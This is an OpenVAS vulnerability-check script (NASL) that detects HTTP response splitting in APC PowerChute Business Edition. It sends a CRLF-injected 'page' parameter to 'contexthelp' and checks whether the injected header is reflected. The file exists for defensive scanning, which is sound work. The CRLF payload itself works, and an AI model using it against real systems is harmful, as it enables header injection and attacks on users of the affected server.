APC PowerChute Network Shutdown HTTP Response Splitting Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: secpod_apc_pcns_http_response_splitting_vuln.nasl 7052 2017-09-04 11:50:51Z teissa $
#
# APC PowerChute Network Shutdown HTTP Response Splitting Vulnerability
#
# Authors:
# Sooraj KS <[email protected]>
#
# Copyright:
# Copyright (c) 2011 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow attacker to perform unspecified
actions by tricking a user into visiting a malicious web site.

Impact Level: Application";

tag_affected = "APC PowerChute Business Edition Shutdown 6.0.0, 7.0.1 and 7.0.2";

tag_insight = "The flaw is caused by improper validation of user-supplied input
passed via the 'page' parameter in 'contexthelp', which allows attackers to
perform unspecified actions by tricking a user into visiting a malicious web
site.";

tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.

A workaround is to place the PowerChute Business Edition behind a firewall.";

tag_summary = "The host is running APC PowerChute Network Shutdown and is prone
to HTTP response splitting vulnerability.";

if(description)
{
  script_id(902579);
  script_version("$Revision: 7052 $");
  script_tag(name:"last_modification", value:"$Date: 2017-09-04 13:50:51 +0200 (Mon, 04 Sep 2017) $");
  script_tag(name:"creation_date", value:"2011-09-30 15:58:03 +0200 (Fri, 30 Sep 2011)");
  script_bugtraq_id(33924);
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("APC PowerChute Network Shutdown HTTP Response Splitting Vulnerability");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/34066");
  script_xref(name : "URL" , value : "http://xforce.iss.net/xforce/xfdb/48975");
  script_xref(name : "URL" , value : "http://www.securityfocus.com/archive/1/501255");
  script_xref(name : "URL" , value : "http://www.dsecrg.com/pages/vul/show.php?id=82");
  script_xref(name : "URL" , value : "http://nam-en.apc.com/app/answers/detail/a_id/9539");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 SecPod");
  script_family("Web application abuses");
  script_require_ports("Services/www", 3052);
  script_dependencies("find_service.nasl", "http_version.nasl");
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}


include("http_func.inc");

## Get HTTP Port
port = get_http_port(default:3052);
if(!port){
  exit(0);
}

## Send and Receive the response
req = http_get(item:"/security/loginform", port:port);
res = http_send_recv(port:port, data:req);

## Confirm the application
if("PowerChute Business Edition" >< res)
{
  ## Construct attack request
  req = http_get(item:'/contexthelp?page=Foobar?%0d%0aOPENVAS_HEADER:testvalue',
                 port:port);
  ## Send Attack
  res = http_send_recv(port:port, data:req);

  ## Confirm Exploit Worked by Checking The Response
  if(ereg(pattern:"^HTTP/[0-9]\.[0-9] 302 .*", string:res) &&
    ('Location: help/english//Foobar?' >< res) &&
    ('OPENVAS_HEADER:testvalue' >< res)){
    security_message(port);
  }
}